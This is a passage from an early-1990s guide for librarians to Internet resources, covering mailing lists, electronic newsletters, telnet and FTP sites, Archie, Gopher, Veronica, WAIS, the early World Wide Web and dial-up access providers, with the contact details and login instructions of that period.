South America, India, Scandinavia, and Asia. It opened up +discussions of dietary laws, staple foods, and cultural differences. + +Other lists explore the worlds of library administration, reference, mystery +readers, romance readers, bird-watcher hotlines, cat enthusiasts, X-Soviet +Union watchers, packet radio techies, and thousands more. There is even a +list to announce the creation of new lists! + +The Power of the Net + +A net connection in a school is like having multiple foreign exchange +students in the classroom all the time. It promotes active, participatory +learning. Participating in a discussion group is like being at an ongoing +library conference. All the experts are Out There, waiting to be asked. + +Want to buy a CD ROM drive? Send one query and "ask" the 3,000 folks +on PACS-L (Public Access Computer Systems list) for advice. In a few +hours you'll have personal testimonies on the pros and cons of various +hardware configurations. + +Want to see if any libraries are doing anything with Total Quality +Management? Ask the members of LIBADMIN and you'll have offers of +reports, studies, personal experiences and more. How do you cope with +budget cuts: personnel layoffs or materials? Again, LIBADMIN use allows +shared advice. + +Here is one story about the power of the net. At Christmas, an electronic +plea came from Ireland. "My daughter believes in Santa Claus," it began. +"And although the 'My Little Pony Megan & Sundance' set has not been +made in three years, she believes Santa will prevail and she will find one +under her tree." Mom, a university professor, had called the manufacturer +in the US, but none were available. "Check around," they said, "maybe +some yet stand on store shelves." So Mom sent the call out to the net. + +Many readers began a global search for the wily Pony as part of their own +holiday shopping forays. + +Soon, another message came from Dublin. It seemed that a reader of the +original message had a father who was a high-ranking executive in the toy +company, and he had managed to acquire said pony where others had +failed! + +It was duly shipped in time to save Santa's reputation. + +Part of the library's mission is to help remove barriers to accessing +information, and part of this is removing barriers between people. One of +the most interesting things about telecommunications is that it is the Great +Equalizer. It lets all kinds of computers and humans talk to each other. The + +old barriers of sexism, ageism, and racism are not present, since you can't +see the person to whom you're "speaking". You get to know the person +without preconceived notions about what you THINK he is going to say, +based on visual prejudices you may have, no matter how innocent. + +Well, almost without visual prejudice. Electronic mail is not always an +harmonic convergence of like souls adrift in the cyberspace cosmos: there +are arguments and tirades (called "flames"). Sometimes you get so used to +seeing a frequent poster's electronic signature that you know what he's +going to say before he says it! + +Smileys + +One problem with written communication is that remarks meant to be +humorous are often lost. Without the visual body-language clues, some +messages may be misinterpreted. So a visual shorthand known as "smileys" +has been developed. There are a hundred or more variations on this theme- +:-) That's a little smiley face. Look at it sideways. (more Smiley info may +be found via anonymous ftp at many places, including the following: +nic.funet.fi /pub/misc/funnies/smiley.txt). FTP is introduced later in the +text. + +What a range of emotions you can show using only keyboard characters. +Besides the smiley face above, you can have :-( if you're sad, or :-< if +you're REALLY upset! ;-) is one way of showing a wink. Folks wearing +glasses might look like this online: %^). + +But for the most part, the electronic community is willing to help others. +Telecommunications helps us overcome what has been called the tyranny +of distance. We DO have a global village. + +Electronic Newsletters and Serials + +Subscribing to lists with reckless abandon can clog your mailbox and +provide a convenient black hole to vacuum up all your spare time. You +may be more interested in free subscriptions to compiled documents known +as electronic journals. These journals are automatically delivered to your +electronic door. + +There are a growing number of these. Some of the best for librarians are +listed below. To subscribe to these journals you must know how to send an +interactive message to another computer. This information is well- +documented in the resources listed at the end of this article. Telnet and ftp + +are introduced further along in this article. + +ALCTS NETWORK NEWS +(Association for Library Collections and Technical Services) +Various ALA news, net news, other items of interest to librarians. Send the +following message to LISTSERV@UICVM.BITNET +SUBSCRIBE ALCTS First Name Last Name. + +Current Cites +Bibliography of current journal articles relating to computers, networks, +information issues, and technology. Distributed on PACS-L, or connect +remotely via TELNET to MELVYL.UCOP.EDU (192.35.222.222); Enter +command at the prompt: SHOW CURRENT CITES. +Further information: David F. W. Robison, drobison@library.berkeley.edu. + +EFFector Online +The online newsletter of the Electronic Frontier Foundation. All the hot net +issues are covered here: privacy, freedom, first amendment rights. Join +EFF to be added to the mailing list or ftp the files yourself from +ftp.eff.org +(192.88.144.4). They are in the /pub/eff and subsequent directories. + +Hot Off the Tree (HOTT) +(Excerpts and Abstracts of Articles about Information Technology) +TELNET MELVYL.UCOP.EDU (192.35.222.222); Enter command: +SHOW HOTT. Further information: Susan Jurist, SJURIST@UCSD.EDU. + +Network News +An irreverent compendium of tidbits, resources, and net factoids that is a +must for true Internet surfers. To subscribe, send the following message to +LISTSERV@NDSUVM1.BITNET +SUBSCRIBE NNEWS First Name Last Name. +For more information: Dana Noonan at noonan@msus1.msus.edu. + +Public-Access Computer Systems News and The Public-Access Computer +Systems Review +Sent automatically to PACS-L subscribers. See above. For a list of back +issue files, send the following message to +LISTSERV@UHUPVM1.BITNET: +INDEX PACS-L. + +To obtain a comprehensive list of electronic serials on all topics, send the +following commands to LISTSERV@UOTTAWA.BITNET +GET EJOURNL1 DIRECTRY +GET EJOURNL2 DIRECTRY +For further information, contact Michael Strangelove: +441495@ACADVM1.UOTTAWA.CA. + +Remote Login to Internet Resources: TELNET + +One step beyond electronic mail is the ability to control a remote computer +using TELNET. This feature lets you virtually teleport anywhere on the +network and use resources located physically at that host. Further, some +hosts have gateways to other hosts, which have further gateways to still +more hosts. How can you be in two places at once? It sounds more +confusing than it is. What resources are available? Here is a sampling of +some of the fare awaiting you at several sites: + +Cleveland Free-net Freenets +are the progeny of Tom Grundner, Director, +Community Telecomputing Laboratory +Case Western Reserve University +303 Wickenden Building +Cleveland, OH 44106 +216/368-2733 FAX: 216/368-5436 +Internet: aa001@cleveland.freenet.edu +BITNET: aa001%cleveland.freenet.edu@cunyvm +and the folks at National Public Telecomputing Network (NPTN) +Box 1987 +Cleveland, OH 44106 +216/368-2733 FAX: 216/368-5436 +Internet: aa622@cleveland.freenet.edu. + +Free-nets are built around a city metaphor, complete with schools, +hospitals, libraries, courthouses, and other public services. + +Academy One recently held an online global simulation of a series of major +space achievements. 16 schools (from five states and four nations) +participated. Here are several of the descriptions of their projects: + +"VALKEALA HIGH SCHOOL VALKEALA ELEMENTARY SCHOOL +Valkeala, Finland (sa124@cleveland.freenet.edu) +Acting as Space Shuttle Discovery taking the Hubble Telescope into space. +These Finnish students will be in communication with students in Estonia, +relaying their reports." + +"DR. HOWARD ELEMENTARY SCHOOL Champaign, IL +(cwilliam@mars.ncsa.uiuc.edu, cdouglas@ncsa.uiuc.edu) +Dr. Howard School (25 students in 3rd/4th grade) will be simulating the +Challenger 2 launch. They are being assisted by the National Center for +Supercomputing Applications." + +"ST. JULIE BILLIART SCHOOL Hamilton, OH +(ba542@cleveland.freenet.edu) +Simulating a NASA Tracking Station in Florida. They will be posting +hourly weather reports about the conditions in Florida around Cape +Kennedy. This information is vital to the recovery of the Friendship 7 +capsule and crew. Students have taken an interest in Space Junk and will be +posting additional reports on the various probes which were used to test the +surface of the moon and how all of that junk is now becoming a hazard to +current and future space exploration." + +Another Free-net resource is Project Hermes. This service provides copies +of Supreme Court opinions in electronic form to as wide an audience as +possible, almost as soon as they are announced. + +The Court's opinions can be sent directly to you or you may download the +files directly from any NPTN community computer system. + +The Free-nets also provide weather, news, and gateways to other resources. +To access the Cleveland Free-Net (where all this is being held) simply +telnet to: freenet-in-a.cwru.edu 129.22.8.82 +or 129.22.8.75 +or 129.22.8.76 +or 129.22.8.44 and select "visitor" at the login menu. + +MELVYL +The University of California +MELVYL +Catalog Division of Library Automation +University of California +Office of the President +300 Lakeside Drive, 8th floor, +Oakland, California 94612-3550 +415/987-0555 (MELVYL Catalog Helpline) +E-mail: lynch@postgres.berkeley.edu + +The MELVYL catalog is the union catalog of monographs and serials +(periodicals) held by the nine University of California campuses and +affiliated libraries. It represents nearly 11 million holdings at UC, the +California State Library, and the Center for Research Libraries. + +The MELVYL catalog also provides access to MEDLINE and Current +Contents as well as a gateway to many other systems. Access to some +databases is restricted under a license agreement to the University of +California faculty, staff, and students. Telnet MELVYL.UCOP.EDU +(192.35.222.222) + +CARL +Colorado Alliance of Research Libraries +777 Grant +Suite 306 +Denver CO 80203-3580 +303/861-5319 +E-mail: help@carl.org + +CARL offers access to the following groups of databases: Academic and +public library online catalogs, current article indexes such as UnCover and +Magazine Index, databases such as the Academic American Encyclopedia +and Internet Resource Guide, and a gateway to other library systems. +Access to some items is limited. Telnet pac.carl.org or telnet 192.54.81.128 + +MICROMUSE +This is how Barry Kort (aka 'Moulton'), Visiting Scientist at Educational +Technology Research, BBN Labs, Cambridge, MA describes MicroMuse at +M.I.T. + +"MUDs (Multi-User Dimensions) or MUSEs (Multi-User Simulation +Environments) are virtual realities which offer a rich environment for +synergy, community, collaboration, and exploratory discovery." + +"Players connect to the host computer, adopt a character and personality of +their choosing, and enter into the synthetic world, consisting of a web of +connected rooms and movable props." + +"Everything (rooms, movable objects, connecting passageways, and +players) has a description (typically a few lines of text) which are +displayed +when a player looks at it." + +"Actions such as picking up or dropping an object, and exiting to an +adjacent room also generate a short message appropriate to the action." + +"At MIT's AI Lab, MicroMuse features explorations, adventures, and +puzzles with redeeming social, cultural, and educational content. The +MicroMuse Science Center offers an Exploratorium and Mathematica +Exhibit complete with interactive exhibits drawn from experience with +Science Museums around the country. The Mission to Mars includes an +elaborate tour of the red planet with accurate descriptions rivaling those +found in National Geographic." + +"Elsewhere on MicroMuse, one can find an outstanding adventure based on +the children's classic Narnia; a recreation of the Wizard of Oz adventure +built by a gifted 8-year old; a challenging Logic Quest; and a living model +of the science fiction genre 'The DragonRiders of Pern' by author Anne +McCaffrey." + +If you would like to explore MicroMuse, you may connect as follows from +your local host computer: +telnet michael.ai.mit.edu [18.43.0.177] +login: guest [no password required] +tt [TinyTalk client program] +connect guest [Connect to MicroMuse] + +BBS.OIT.UNC.EDU +Telnet to BBS.OIT.UNC.EDU or 152.2.22.80. +Type launch at the login message. +It's a must. Not only can you read Usenet Newsfeeds, but you can use +LibTel, a scripted telnet gateway to access both US and international +libraries plus such things as Data Research Associates Library of Congress +catalog, the Ham Radio Call Book, the National Science Foundation, the +Weather Server, Webster's dictionary and thesaurus, and more. + +Remote Access to Files (FTP) + +FTP or File Transfer Protocol is what to use to retrieve a text file, +software, +or other item from a remote host. Normal practice is to ftp to the host you +want and login as "anonymous". Some sites use the password "guest" while +others require that you put in your network address as the password. Some +popular ftp sites follow: + +SUMEX-AIM +This archive at Stanford (sumex-aim.stanford.edu or 36.44.0.6) houses a +plethora of Macintosh applications, utilities, graphics and sound files. + +SIMTEL20 +(simtel20.army.mil or 192.88.110.20) at the White Sands Missile Range in +New Mexico contains a similar archive software for MS-DOS computers. + +An FTP visit to the Network Service Center at nnsc.nsf.net (128.89.1.178) +is a gold mine of documents and training materials on net use. See further +information on this in the "Resources for Learning More" section of this +article. + +Project Gutenberg +The primary goal of Project Gutenberg is to encourage the creation and +distribution of electronic text. They hope to have a trillion etexts in +distribution by the end of 2001. + +Some of the many texts available now include Alice in Wonderland, Peter +Pan, Shakespeare, Paradise Lost and other texts in the public domain. +Many of these texts are available from: +ftp mrcnext.cso.uiuc.edu (128.174.201.12) /pub/etext92 [for 1992 releases] +or /pub/etext/etext91 [for 1991 releases] +/pub/etext/articles [for Project Gutenberg articles and newsletters]. +They are also available from quake.think.com (192.31.181.1); /pub/etext, +and from many other sites. + +For more info: +Michael S. Hart, Director +Project Gutenberg +National Clearinghouse for Machine Readable Texts +Illinois Benedictine College +5700 College Road +Lisle, Illinois 60532-0900 +BITNET: HART@UIUCVMD +INTERNET: HART@VMD.CSO.UIUC.EDU + +Travel Agents: Archie, Gopher, Veronica, WAIS, Worldwide Web and +More + +There is so much information on the net, it's impossible to know where +everything is, or even how to begin looking. Fortunately, some +computerized "agents" are in development to help sort through the massive +data libraries on the net. + +Archie +Peter Deutsch, of McGill's Computing Centre, describes the archie server +concept, which allows users to ask a question once yet search many +different hosts for files of interest. + +"The archie service is a collection of resource discovery tools that together + +provide an electronic directory service for locating information in an +Internet environment. Originally created to track the contents of +anonymous ftp archive sites, the archie service is now being expanded to +include a variety of other online directories and resource listings." + +"Currently, archie tracks the contents of over 800 anonymous FTP archive +sites containing some 1,000,000 files throughout the Internet. Collectively, +these files represent well over 50 Gigabytes (50,000,000,000 bytes) of +information, with additional information being added daily. Anonymous ftp +archive sites offer software, data and other information which can be +copied and used without charge by anyone with connection to the Internet." + +"The archie server automatically updates the listing information from each +site about once a month, ensuring users that the information they receive is +reasonably timely, without imposing an undue load on the archive sites or +network bandwidth." + +Unfortunately the archie server at McGill is currently out of service. Other +sites are: archie.ans.net (USA [NY]) archie.rutgers.edu (USA [NJ]) +archie.sura.net (USA [MD]) archie.funet.fi (Finland/Mainland Europe) +archie.au (Australia/New Zealand) archie.doc.ic.ac.uk (Great +Britain/Ireland) + +Info from: UNIX Support Group +Computing Centre +McGill University +Room 200 +Burnside Hall +805 Sherbrooke Street West +Montreal, Quebec CANADA H3A 2K6 +514/398-3709 +peterd@cc.mcgill.ca + +Internet Gopher +A gopher (or go-fer) is someone who fetches necessary items from many +locations. + +Login as gopher after you telnet to consultant.micro.umn.edu and enjoy +having a computer do all the work for you. Almost. Gopher is still in +experimental mode at many gopherized sites. Still, it is one of the best +ways to locate information on and in the Internet. + +Besides archie, the gopher at consultant.micro.umn.edu includes fun and +games, humor, libraries (including reference books such as the Hacker's +Dictionary, Roget's 1911 Thesaurus, and the CIA World Fact Book), +gateways to other US and foreign gophers, news, and gateways to other +systems. + +VERONICA: Very Easy Rodent-Oriented Net-wide Index to Computerized +Archives. + +Very new on the scene is VERONICA. Here is some information from +Steve Foster about it. + +"Veronica offers a keyword search of most gopher-server menus in the +entire gopher web. As Archie is to ftp archives, Veronica is to +gopherspace. Unlike Archie, the search results can connect you directly to +the data source. Imagine an Archie search that lets you select the data, not +just the host sites, directly from a menu. Because Veronica is accessed +through a gopher client, it is easy to use, and gives access to all types of +data supported by the gopher protocol." + +"Veronica was designed as a response to the problem of resource discovery +in the rapidly-expanding gopher web. Frustrated comments in the net news- +groups have recently reflected the need for such a service. Additional +motivation came from the comments of naive gopher users, several of +whom assumed that a simple-touse service would provide a means to find +resources 'without having to know where they are.'" + +"The result of a Veronica search is an automatically-generated gopher +menu, customized according to the user's keyword specification. Items on +this menu may be drawn from many gopher servers. These are functional +gopher items, immediately accessible via the gopher client ? just double- +click to open directories, read files, or perform other searches -- across +hundreds of gopher servers. You need never know which server is actually +involved in filling your request for information. Items that are appear +particularly interesting can be saved in the user's bookmark list." + +"Notice that these are NOT full-text searches of data at gopher-server sites, + +just as Archie does not index the contents of ftp sites, but only the names +of +files at those sites. Veronica indexes the TITLES on all levels of the +menus, for most gopher sites in the Internet. 258 gophers are indexed by +Veronica on Nov. 17, 1992; we have discovered over 500 servers and will +index the full set in the near future. We hope that Veronica will encourage +gopher administrators to use very descriptive titles on their menus." + +"To try Veronica, select it from the 'Other Gophers' menu on Minnesota's +gopher server (consultant.micro.umn.edu), or point your gopher at: +Name=Veronica (search menu items in most of GopherSpace) +Type=1 +Port=70 +Path=1/Veronica Host=futique.scs.unr.edu" + +"Veronica is an experimental service, developed by Steve Foster and Fred +Barrie at University of Nevada. As we expect that the load will soon +outgrow our hardware, we will distribute the Veronica service across other +sites in the near future." + +"Please address comments to: gophadm@futique.scs.unr.edu" + +Is this the new world order of automated librarianship? + +WAIS +Wide Area Information Servers (pronounced ways) allows users to get +information from a variety of hosts by means of a "client". The user tells +the client, in plain English, what to look for out in dataspace. The client +then searches various WAIS servers around the globe. The user tells the +client how relevant each hit is, and the client can be sent out on the same +quest again and again to find new documents. Client software is available +for many different types of computers. + +WAIStation is an easy to use Macintosh implementation of a WAIS client. +It can be downloaded from think.com as well as a self-running +MediaTracks demo of WAIStation in action. Kahle also moderates a +thoughtful WAIS newsletter and discussion group, often speculating about +the future of libraries and librarians. + +Info from: Brewster Kahle, Project Leader +Wide Area Information Servers +Thinking Machines Corporation +1010 El Camino Real +Menlo Park, CA 94025 +415/329-9300 x228 +brewster@Think.COM + +WorldWideWeb +Tim Berners-Lee describes the Web this way: "The WWW project merges +the techniques of information retrieval and hypertext to make an easy but +powerful global information system. The WWW world consists of +documents, and links. Indexes are special documents which, rather than +being read, may be searched. The result of such a search is another +('virtual') document containing links to the documents found. The Web +contains documents in many formats. Those documents which are +hypertext, (real or virtual) contain links to other documents, or places +within documents. All documents, whether real, virtual or indexes, look +similar to the reader and are contained within the same addressing scheme. +To follow a link, a reader clicks with a mouse (or types in a number if he or + +she has no mouse). To search and index, a reader gives keywords (or other +search criteria). These are the only operations necessary to access the +entire +world of data." + +Info from: Tim Berners-Lee +WorldWideWeb project +CERN +1211 Geneva 23, + Switzerland +Tel: +41(22)767 3755 FAX:+41(22)767 7155 +email:tbl@cernvax.cern.ch + +Hytelnet +Peter Scott, the creator of HYTELNET, sends this recent update: +"HYTELNET version 6.3, the utility which gives an IBM-PC user instant- +access to all Internetaccessible library catalogs, FREE-NETS, CWISs, +BBSs, Gophers, WAIS, etc. is now available. You can get it via anonymous +ftp from: access.usask.ca in the pub/hytelnet/pc subdirectory. It is listed +as +HYTELN63.ZIP." + +"Version 6.3 is a major upgrade. Much redundant information has been +deleted, and errors have been corrected. New subdirectories have been +added, which has meant that many files now have a more meaningful +home. Also all the new/updated files created since Version 6.2 have been +incorporated." + +"Note: the UNZIPPED files total over 1.2 mb?but remember, you can +always edit out any information you do not need, in order to save space. +Information from Roy Tennant follows, slightly edited, describing how to +obtain HYTELNET 6.3 from the ftp site (thanks Roy)::" + +"TO RETRIEVE HYTELNET: +At your system prompt, enter: ftp access.usask.ca or ftp 128.233.3.1 When +you receive the Name prompt, enter: anonymous When you receive the +password prompt, enter your Internet address. When you are at the ftp> +prompt, enter: binary At the next ftp> prompt, enter: cd pub/hytelnet/pc +Then enter: get hyteln63.zip After the transfer has occurred, either proceed +with the instructions below to retrieve the UNZIP utility (which you need +unless you already have it) or enter: quit + +The Hytelnet program is archived using a ZIP utility. To unarchive it, you +must be able to "unzip" the file. If you have the file PKUNZIP.EXE, it will +unarchive the HYTELN63.ZIP file (see below for instructions). If you do +not have it, you may retrieve it by following these instructions: + +TO RETRIEVE PKUNZIP: +Use the above instructions for connecting to access.usask.ca At the ftp> +prompt, enter: binary Then enter: cd pub/hytelnet/pc Then enter: get +pkunzip.exe After the transfer has occurred, enter: quit + +TO DOWNLOAD IT TO YOUR PC: +Because of the plethora of PC communications programs, I will not attempt +to give step-by-step instructions here. You should check the instructions +for your software for downloading a *binary* file from your Internet +account to your PC. + +TO UNARCHIVE HYTELN63.ZIP: +Make a new directory on your hard disk (e.g., mkdir hytelnet) Copy +PKUNZIP.EXE and HYTELN63.ZIP into the new directory Make sure you +are in that directory, then enter: pkunzip HYTELN63 It will then unarchive +HYTELN63.ZIP, which contains the following files: HYTELNET.ZIP +READNOW The file READNOW. gives full instructions for un-archiving +HYTELNET.ZIP. Simply put, you **MUST** unZIP the file with the -d +parameter so that all the subdirectories will be recursed. + +To use HYTELNET, you should refer to the instructions in the release +announcement by Peter Scott, or to the README file included with the +package." + +"PLEASE NOTE that I offer the above instructions as a service for those +who are unfamiliar with the steps required to download and use files from +network sources. I cannot be responsible for any local variations in these +procedures which may exist. Please contact your local computer support +staff if you have difficulty performing these tasks." + +"The UNIX/VMS version, created by Earl Fogel, is available for browsing +by telnet to access.usask.ca login with hytelnet (lower case). For more +information on this version contact Earl at: fogel@skyfox.usask.ca." + +How to Get Connected + +Now that you're interested in what resources are available, how does one go +about getting connected? Time was that you needed a standard, dedicated +connection to the Internet. Then you needed a robust computer system and +a couple of zany gurus to keep it all running. And once a year you could +expect an invoice in the $30,000 range to keep the data flowing. + +These days, anyone can connect, from small libraries and non-profits to +individuals. And the prices are affordable. + +There is a NSFNet acceptable-use policy you must agree to adhere to if +your traffic passes through NSFNet. It is available from the NSF Network +Service Center. + +Contact your regional network first to see what services might be available +to you. A list of regional nets can be obtained from the NSF Network +Service Center (address below), or check with a local college or +university's academic computing center. A university may be able to give +you a guest account on its system for educational purposes. + +Access to electronic mail alone is roughly $20 a month at this writing. +Additional capabilities, including telnet and ftp, cost more, and it will +cost +$2,000 or more per year if you want to operate your own host system. The +good news is that the costs are spiraling downwards. Here are a few other +methods of connecting to the net. Many more are listed in the "must-have" +books at the end of this article. + +CERFnet +The California Education and Research Federation (CERFnet) has +announced DIAL N' CERF USA. It allows educators, scientists, +corporations, and individuals access to the Internet from anywhere in the +continental US. + +A toll-free number, 1-800/7CERFNET, provides subscribers with the +capability to log in to remote machines, transfer files, and send and receive + +electronic mail, as if they had a standard, dedicated connection. The cost of + +this toll-free connection is $20 a month with a $10 per hour usage fee and +free installation. There is an installation charge of $50. +CERFnet +California Education and Research Federation +c/o San Diego Supercomputer Center +P. O. Box 85608 +San Diego, CA 92186-9784 +800/876-CERF or 619/534-5087 +help@cerf.net + +Performance Systems International +PSI offers several permutations of network connectivity, including low-end +email- only accounts, dial-up host connectivity on demand, and dedicated +connections. Costs are competitive and performance is reliable. PSI has +POPs (points of presence) in over forty U.S. cities. + +PSILink, email and delayed ftp, is $19 a month for 2400 baud service or +below, $29 per month for 9600 baud service. + +GDS (Global Dialup Service) includes telnet, rlogins at $39 a month, 2400 +baud, 24 hour access. + +Host DCS (Dialup Connection Service), at about $2000 per year, includes a +full suite of internet activities (mail, news, ftp, telnet). +Performance Systems International, Inc. +11800 Sunrise Valley Dr. Suite 1100 +Reston, VA 22091 +800/82PSI82 or 703/620-6651 FAX: 703/620-4586 +info@psi.com. All-info@psi.com generates an automatic reply response +containing summaries of various PSI products. + +Software Tool & Die +Software Tool & Die offers The World, a public access Unix system: The +basic rates are $2 per hour and a $5 monthly account fee. Services offered +by The World include internet electronic mail, USENET news, ClariNet - +UPI, AP, and satellite news services, real-time chat, Unix Software, Archie, +the Online Book Initiative (a publicly accessible repository for freely +redistributable collections of textual information, a net-worker's library.) +AlterNet Access - Users have access to AlterNet via ftp/telnet. The World +can also be accessed over the Compuserve Packet Network. You do not +have to be a Compuserve subscriber to use this network, but you will be +billed for its use. +The WORLD +Software Tool & Die +1330 Beacon Street +Brookline, MA 02146 +617/39-0202 + +Daniel Dern also provides the following definitive information file on how +to get connected: +Daniel Dern's Short Answer to "How do I get a list of Internet +Service/Access Providers for Individual Accounts": + +For a list of Internet Service Providers contact: + +NSF Network Service Center (NNSC) +BBN Laboratories Inc. +10 Moulton St. +Cambridge, MA 02238 +617/873-3361 +nnsc@nnsc.nsf.net + +The NNSC info-server utility can also automatically e-mail you a copy of +this list and other documents. Simply send an e-mail message to: info- +server@nnsc.nsf.net with the following text in the body: +request: nsfnet +topic: +topic: +request: end + +You don't need to put anything in the subject line. + +"referral-list" gets you the NNSC's referral list of Internet Service +Providers +based in the U.S. (possibly providing international service). This is +generally agreed to be the most comprehensive and least-biased list. + +"limited-referral" gets you the NNSC's referral list of Internet providers +for +"limited service," which includes Dial-Up IP, Internet E-mail. + +"help" (recommended) gets you the Help document for the info- server +facility. + +For a list of dial-up-accessible Public-Access Internet Hosts (Unix BBSs +that can do telnet, ftp, etc., that can you can access by calling from your +PC +and modem), see the PDIAL list, maintained by Peter Kaminski. Kaminski +periodically posts an updated version to the usenet groups alt.bbs.lists and +alt.bbs.internet; also, the most recent edition may be obtained by sending e- +mail to kaminski@netcom.com with the 'Send PDIAL' in the subject. To +be placed on a list to receive future editions automatically, send e-mail to +kaminski@netcom.com with 'Subscribe PDIAL' in the subject. + +The 'nixpub' list is a frequently updated list of Public-Access unix Systems +-Unix-based BBSs usually carrying usenet news, supporting e-mail +connectivity to the Internet, and with some mix of local archives, multi- +user games, etc. The full list is long (over 1,000 lines). To get a current + +copy of 'nixpub' as an automatic e-mail reply, Send a message to +'nixpub@digex.com' (no subject or message text needed), or to archive- +server@cs.widener.edu with message body of one of these: + +send nixpub long +send nixpub short +send nixpub long short +index nixpub + +The nixpub and nixpub.short lists are regularly reposted to the USENET +comp.misc and alt.bbs groups + +Info from: Daniel P. Dern Free-lance technology writer +P.O. Box 309 +Newton Centre, MA 02159 +617/969-7947 FAX: 617/969-7949 +ddern@world.std.com" + +Resources for Learning More + +CERFnet Network Information Center (NIC) +This is a repository for many eclectic internet guides and RFC (Requests +For Comments) from many sources, including the famous, if technical +"Hitchhiker's Guide to the Internet". These may be obtained via anonymous +ftp to nic.cerf.net (192.102.249.3). Call the CERFnet Hotline at 800-876- +CERF for assistance. California Education and Research Federation +c/o San Diego Supercomputer Center +P. O. Box 85608 +San Diego, CA 92186- 9784 +800/876-CERF or 619/534-5087 +help@cerf.net + +CICNet Resource Guide +Over 200 pages of Internet resources, published June, 1992. Copies are +$27.00 from CICNet, Inc. +Attn Kim Schaffer +2901 Hubbard Pod A +Ann Arbor, MI 48109. +313/998-6103 FAX 313/998-6105 +info@cic.net + +"The December Lists" +"Information Sources: the Internet and Computer-Mediated +Communication" Compiled by John December (decemj@rpi.edu) +Here is part of his information file on this excellent resource: + +"This document or updates are available via anonymous ftp. Host: +ftp.rpi.edu, file: /pub/communications/internet-cmc. + +PURPOSE: to list pointers to information describing the Internet, +computer networks, and issues related to computer- mediated +communication (CMC). Topics of interest include the technical, social, +cognitive, and psychological aspects of CMC. + +AUDIENCE: this file is useful for those getting started in understanding +the Internet and CMC; it compactly summarizes sources of information for +those who are already exploring these issues. + +ASSUMPTIONS: to access many information sources listed here you must +have access to and know how to use anonymous ftp, email, or USENET +newsgroups. Some files are in TeX or PostScript format. + +Contents: +Section -1- THE INTERNET AND SERVICES +Section -2- INFORMATION SERVICES/ELECTRONIC +PUBLICATIONS +Section -3- SOCIETIES AND ORGANIZATIONS +Section -4- NEWSGROUPS +Section -5- SELECTED BIBLIOGRAPHY" + +"Emily Postnews Answers Your Questions on Netiquette" +Brad Templeton's (brad@looking.on.ca) satirical and hilarious piece on +how NOT to behave on the net. Emily Postnews, foremost authority on +proper net behaviour, gives her advice.There are many places to ftp this +file, and it is appearing on many gophers. One place to get the file is by +ftp +to ra.msstate.edu (130.18.80.10) Location: /pub/docs/words- l/Funnies. The +file is called emily.postnews. Here is a sample: + +"Dear Miss Postnews: +How long should my signature be? +-- verbose@noisy + +A: Dear Verbose: +Please try and make your signature as long as you can. It's much more +important than your article, of course, so try to have more lines of +signature +than actual text. Try to include a large graphic made of ASCII characters, +plus lots of cute quotes and slogans. People will never tire of reading +these +pearls of wisdom again and again, and you will soon become personally +associated with the joy each reader feels at seeing yet another delightful +repeat of your signature. Be sure as well to include a complete map of +USENET with each signature, to show how anybody can get mail to you +from any site in the world. Be sure to include Internet gateways as well. +Also tell people on your own site how to mail to you. Give independent +addresses for Internet, UUCP, and BITNET, even if they're all the same." + +"Incomplete Guide to the Internet" +The "Incomplete Guide ?" was compiled by the NCSA Education Group, +dated September, 1992. It is also available for anonymous FTP at: +ftp.ncsa.uiuc.edu in the /misc directory. This excellent manual is a must. It + +even covers SLIP connections and use of Eudora. + +Here are some comments about it from cfarmer@ncsa.uiuc.EDU (Chuck +Farmer): "The first half of the text is devoted to the mechanics of +telecommunications, how to connect, what to do once you are connected, +etc. The second half of the manual is devoted to current +telecommunications projects, past successful projects, and resources. The +resources include FTP sites, open BBS's and networks, Free-Nets, +subscription services, and where to get more information on each resource. +This resource was complied by the Living Lab program (NSF funded) at +NCSA as an attempt to encourage the proliferation of HPCC use in the K- +12 classroom. We welcome your comments and suggestions. + +For further information: National Center for Supercomputing Applications +605 E Springfield Ave. +Champaign, IL 61820 +217/244-6122 + +"Library Resources on the Internet: Strategies for Selection and Use" 1992. + +RASD Occasional Paper no. 12, selling for $18 to members, $20 for +nonmembers. It can be ordered from ALA Order Services +50 E. Huron +Chicago, IL 60611, +800/545-2433 + +Electronic versions available via FTP +ASCII file from: +host DLA.UCOP.EDU (128.48.108.25), directory /pub/internet/Libcat- +guide +host FTP.UNT.EDU (129.120.1.1), directory /pub/library/libcat-guide. +WordPerfect 5.1 file from: +host HYDRA.UWO.CA (129.100.2.13), directory libsoft/internet.com + +Merit's Cruise of the Internet +This attractive overview looks great on a Macintosh. I have not seen the +Windows version. + +From the README text: "Merit's 'Cruise of the Internet' is a computer- +based tutorial for new as well as experienced Internet 'navigators.' The +Cruise will introduce you to Internet resources as diverse as +supercomputing, minorities, multimedia, and even cooking. It will also +provide information about the tools needed to access those resources." + +ftp to NIC.MERIT.EDU /internet/resources. There are Macintosh and +Windows versions, and README text files to explain installation +procedures. + +A Cruise of the Internet +Version 2.01 for Apple Macintosh computers +December 1, 1992 + +SYSTEM REQUIREMENTS +This tutorial will run on any color Macintosh which is capable of +displaying 256 colors. + +To run the Cruise tutorial you will need: + +- A Macintosh II, LC or Quadra series computer +- 8-bit color and any color monitor (12" minimum) +- System 6.05 or 7.x +- Approximately 3 MB of disk space +- 4 MB RAM is recommended +- Internet connectivity and software that does file transfers via FTP. + +A Cruise of the Internet +Version 2.0 for IBM-DOS and DOS compatibles running Windows +October 28, 1992 + +SYSTEM REQUIREMENTS: +This tutorial will run on any IBM-DOS or DOS-compatible computer +which is equipped to display 256 colors at an aspect ratio of 640 x 480. + +To run the Cruise tutorial you will need: + + - An IBM-DOS or DOS-compatible computer +- XGA- or XGA-compatible adapter set to display 256 colors at 640 x 480 +- Microsoft Windows(TM) version 3.1 +- Approximately 1.5 MB of disk space +- 2 MB RAM minimum +- Internet connectivity and software that does file transfers via FTP. + +"Mining the Internet" +The Net as mine metaphor is a popular theme. Tunneling through the +network matrix in search of gems and ore is not far from fact. Sometimes it +is hard work, and a lot of it is working in the dark. + +There is a guidebook called "Mining the Internet", available from +University of California at Davis. Here is how the Gold Country Mining +Instructions begin: +"Jist durn tuckered o' workin' eight t' five for a salary. ain't you? An' you + +wanna set out for parts unknown. You're hankerin' for an a'venture. Come'n +then go 'Mining the Internet' with me, father of Clementine (that's my +darlin'), and I'll tell you some old timey tales and introduce you to a new +resource for students, faculty, and staff called wide area networking? +'Taint goin' to hurt you any, and the prospect looks good for a lucky +strike." + +"Mining the Internet" and "Using the Internet A&B" available from +Computing Services +University of California +Davis, CA 95616-8563 +916/752-0233. +Or electronically by anonymous ftp from ucdavis.edu (128.120.2.1) +directory /ucd.netdocs/mining. + 